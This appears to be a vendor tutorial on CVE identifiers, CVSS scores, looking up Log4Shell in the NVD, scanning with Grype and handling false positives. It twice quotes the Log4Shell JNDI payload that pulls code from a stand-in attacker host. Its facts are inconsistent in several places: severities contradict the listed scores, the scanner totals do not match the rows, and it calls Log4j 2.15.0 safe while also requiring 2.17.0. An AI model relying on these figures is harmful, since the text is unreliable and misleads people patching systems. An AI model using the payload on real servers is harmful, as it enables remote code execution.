Why CVEs Matter for Security Teams

When Log4Shell hit in December 2021, every security team needed the same answer: "Are we affected?" The CVE system—specifically CVE-2021-44228—made that question answerable. Every known vulnerability gets a unique ID so teams can track, communicate about, and remediate it across organizations and tools. Without CVE identifiers, security patches would be inconsistent, confusion would cascade through supply chains, and attackers would exploit known vulnerabilities for months before fixes reached production.

The CVE ID serves as your common language for vulnerability discussions. It's how you look up patches, alert teams, and verify remediation across your infrastructure.

CVE ID Format

Every CVE ID follows the same format: CVE-YYYY-NNNNN, where the prefix "CVE" is always present, followed by the year discovered or published (YYYY), then a sequential number that increases with each CVE published that year (NNNNN). For example, CVE-2021-44228 identifies the Log4Shell critical vulnerability in log4j, where 2021 indicates the discovery year and 44228 is its sequence number among that year's CVEs.

Some common examples include CVE-2021-44228 for Log4Shell in Apache Log4j (critical severity), CVE-2023-38545 for a curl buffer overflow (critical severity), CVE-2022-26923 for a Windows LDAP flaw (high severity), and CVE-2024-1086 for a Linux kernel privilege escalation vulnerability (critical severity).

It is important to remember that the CVE ID is simply a reference number. It does not convey severity, affected systems, or available fixes. Its sole purpose is to identify the vulnerability uniquely across all organizations and security tools.

Who Assigns CVE IDs?

The following diagram shows how a vulnerability flows through the CVE assignment and enrichment system:

1Discovery2Assignment3Enrichment4Distribution & Usage

Three organizations maintain the CVE system. The MITRE Corporation is a non-profit that governs the CVE program, issues CVE IDs, and maintains the official CVE List database. CVE Numbering Authorities (CNAs) are organizations authorized to issue CVE IDs, with over 400 CNAs worldwide including Google, Microsoft, Red Hat, Apache, Linux distributors, and universities. Each CNA is able to issue CVEs for projects they maintain. The National Vulnerability Database (NVD) is run by NIST and adds severity scores, affected products, and remediation information, serving as the primary source you will use to look up vulnerability details.

The flow works as follows: a researcher discovers a flaw and reports it to the vendor. The vendor contacts MITRE or a CNA to request a CVE ID. The CVE is formally issued. Then NIST and NVD enrich the record with additional details such as CVSS scores and affected software versions.

CVSS Scoring: How Serious Is It?

Once a CVE is assigned, security researchers analyze it and assign a CVSS score (Common Vulnerability Scoring System), which indicates how serious it is on a 0.0 to 10.0 scale. Scores from 9.8 to 10.0 represent CRITICAL severity, as do scores from 9.0 to 9.7. HIGH severity vulnerabilities fall in the 7.0 to 8.9 range, MEDIUM severity from 4.0 to 6.9, and LOW severity from 0.1 to 3.9. A score of exactly 0.0 indicates NONE, meaning there is no security impact.

Severity ratings:

Real-world examples illustrate these severity levels. CVE-2021-44228 (Log4Shell) earned a CVSS score of 10.0 CRITICAL because it requires only network access with no authentication, can cause complete system compromise through remote code execution, affects billions of devices running Log4j, and was actively exploited within hours of public disclosure.

CVE-2023-38545 (Curl heap buffer overflow) achieved a CVSS score of 8.8 HIGH because it requires network access and a specially crafted URL to exploit, can potentially lead to code execution, although it has not experienced widespread exploitation in the wild.

CVE-2024-1086 (Linux kernel privilege escalation) received a CVSS score of 8.4 HIGH because it requires only local access, making remote exploitation harder, causes local privilege escalation, and has been subject to active exploitation in limited, targeted campaigns.

Understanding CVSS scores in depth requires knowledge of its six components. Attack Vector (AV) distinguishes between network-based attacks that are easy to execute remotely and local attacks that require prior access to the system. Attack Complexity (AC) differentiates between vulnerabilities that are easy to exploit reliably and those requiring specific conditions or special setup. Privileges Required (PR) indicates whether exploitation requires already having administrator access or whether anyone can exploit it. User Interaction (UI) specifies whether the attacker must trick a user to click on something or whether the exploit works automatically. Scope (S) determines whether the vulnerability affects only the vulnerable component itself or can propagate to other systems. Confidentiality, Integrity, and Availability (C/I/A) measure the impact on data secrecy, data correctness, and system availability respectively.

Pro tip: CVSS 7.0+ requires immediate attention. CVSS 9.0+ is an emergency.

Looking Up a CVE: Real Example (Log4Shell)

Let's walk through finding actual information about a real, infamous vulnerability.

Scenario: You're told your logging library might be affected by "Log4Shell". How do you verify and understand the risk?

Step 1: Search for the CVE ID

Go to https://nvd.nist.gov/vuln and search:

Search query: Log4Shell

You'll find: CVE-2021-44228

Step 2: Read the basic info

CVE ID: CVE-2021-44228Published: 12/10/2021Last Modified: 03/15/2024CVSS v3.1 Score: 10.0 (CRITICAL)CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

What this means: Network-accessible (AV:N = anyone on the internet), no authentication needed (PR:N), scope changed (S:C = affects other systems beyond the app), total compromise possible (all impacts: High)

Step 3: Understand what's vulnerable

Affected Software: Apache Log4j 2 versions below 2.15.0. Vulnerable versions include all releases from 2.0-beta9 through 2.14.1, plus 2.15.0-rc1 (the release candidate, which is also affected) and 2.16.0-rc1 (partially affected but requiring upgrade to 2.17.0). Safe versions include 2.15.0 and later for Java 8 and later, 2.12.3 for Java 6 and 7 support (which has been patched), and 2.3.1 for Java 6 and 7 support (also patched).

Step 4: Verify if you're affected

In your application:

# Check your dependency versionmvn dependency:tree | grep log4j# Output: org.apache.logging.log4j:log4j-core:2.14.1  ← VULNERABLE # Or in Pythonpip show log4j# Not affected (Log4j is Java-only, but similar issues exist in other logging libraries)

Step 5: Read the technical description

Description: Apache Log4j2 versions < 2.15.0 do not protect against Lookups involvingthe JndiLookup class when the log event triggering the vulnerable codepath has context values or session ID values with leading "$". This vulnerability is known as "Log4Shell" or "Log4j RCE". Attack vector: An attacker sends a specially crafted message to a Log4jlogger, e.g.:   logger.info("${jndi:ldap://attacker.com/a}"); The log4j library interprets this as a JNDI lookup, connects toattacker.com, downloads and executes arbitrary code. Impact: Complete system compromise (Remote Code Execution / RCE)

Step 6: Check for patches

Remediation: 1. Immediate (0-24 hours): Upgrade to Log4j 2.15.0+    mvn versions:use-latest-releases -Dincludes=org.apache.logging.log4j 2. Mitigation (if can't upgrade): Add this system property:    -Dlog4j2.formatMsgNoLookups=true    This disables JNDI lookups entirely. 3. Alternative: Remove the JndiLookup class:    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Step 7: Verify the patch

# After upgrading to 2.15.0+mvn dependency:tree | grep log4j-core# Output: org.apache.logging.log4j:log4j-core:2.17.0  ✓ SAFE # Test that the vulnerability is fixed# Old code that was dangerous now fails safelylogger.info("${jndi:ldap://attacker.com/a}");  # Logged as plain text, not executed

Vulnerability Scanners: Automated Detection

Finding vulnerabilities manually is impractical. Vulnerability scanners automatically check your code and dependencies against CVE databases.

Popular scanners:

Example: Scanning with Grype

# Scan a Docker imagegrype myapp:1.0.0 # Output:NAME            INSTALLED        FIXED        VULNERABILITY   SEVERITYpython          3.9.5            3.9.13       CVE-2021-3177   HIGHopenssl         1.1.1a           1.1.1k       CVE-2021-3449   MEDIUMcurl            7.68.0           7.77.0       CVE-2021-22898  LOW Vulnerabilities by Severity:  Critical: 0  High: 1  Medium: 2  Low: 1

Interpreting the output: INSTALLED indicates the version currently in the image, FIXED shows the first safe version, VULNERABILITY lists the CVE ID, and SEVERITY provides the CVSS-based severity rating.

Why Scanners Produce False Positives

Vulnerability scanners aren't perfect. They sometimes report issues that don't actually affect you.

Common false positives occur when the vulnerability is present in your codebase but not exploitable. In the first scenario, Grype reports CVE-2024-1234 in library X with CRITICAL severity, but the vulnerable function process_xml() is never called by your code, making it not a real risk for your application. In the second scenario, Grype reports CVE-2022-5678 in curl with HIGH severity, but the CVE specifically requires network access to localhost while your code always connects to https://api.example.com, making it not applicable to your use case. In the third scenario, Grype reports CVE-2023-9999 in package B with MEDIUM severity, but package B is a transitive dependency only imported on Windows while you run on Linux, meaning it will never load and presents no risk.

Handling false positives requires a systematic approach. First, verify the CVE by checking the NVD for the actual impact and determining whether your code even calls the vulnerable function. Second, check whether the issue is already fixed by upgrading to the recommended version and rerunning the scanner. Third, if the vulnerability is truly not applicable, accept the risk by documenting why in a configuration file such as .grype.yaml, adding it to your organization's false-positive list, and moving on. Fourth, if you cannot upgrade the vulnerable dependency, mitigate the risk by disabling the vulnerable feature if possible, using a firewall rule if the vulnerability is network-based, or running the application in a sandboxed environment.

In summary, a CVE ID is a unique identifier for a known vulnerability such as CVE-2021-44228. A CVSS score provides severity ratings from 0 to 10, where Critical is 9 or higher, High is 7 to 8, Medium is 4 to 6, and Low is 0 to 3. NVD.NIST.GOV is the official source for CVE details, CVSS scores, affected software information, and patch recommendations. Vulnerability scanners like Grype, Trivy, and Snyk provide automated detection of known CVEs in your codebase. Remember that false positives happen frequently, so always verify findings and check whether vulnerable code actually runs in your application context.

Next Steps: Build on This Knowledge

Foundation — To understand the broader security landscape, start with What is a Container Image?, which explains the structure where CVEs live. Then explore What is Supply Chain Security? to see how CVEs fit into broader supply chain risk, and read Library, CVE, Maintainer Dependency to learn how libraries with CVEs end up in your images.

Detection & Response — To learn how to find and fix CVEs, read about The Continuous Trust Loop for automated CVE detection and remediation at scale, and Time to Fix Advantage to understand why source-built images remediate CVEs hours faster. For practical deployment guidance, see End-to-End Secure Deployment and Machine Speed vs Human Speed for why automated scanning matters.

Implementation — To put this knowledge into practice, follow Getting Started: Kubernetes + Helm (or Python/Go/Java) for deploying applications and managing their CVEs. Then consult Helm Charts & Kubernetes for managing images at scale in production and the Upgrade & Patching Playbook for CVE patching in production.

Common mistakes to avoid: Do not assume all reported vulnerabilities must be fixed immediately, as false positives are common. Do not use CVSS score alone without understanding context. Never ignore CRITICAL or HIGH vulnerabilities, since scores of 9.0 and above need immediate action. Do not run vulnerable code in production, and do not apply patches without testing them first.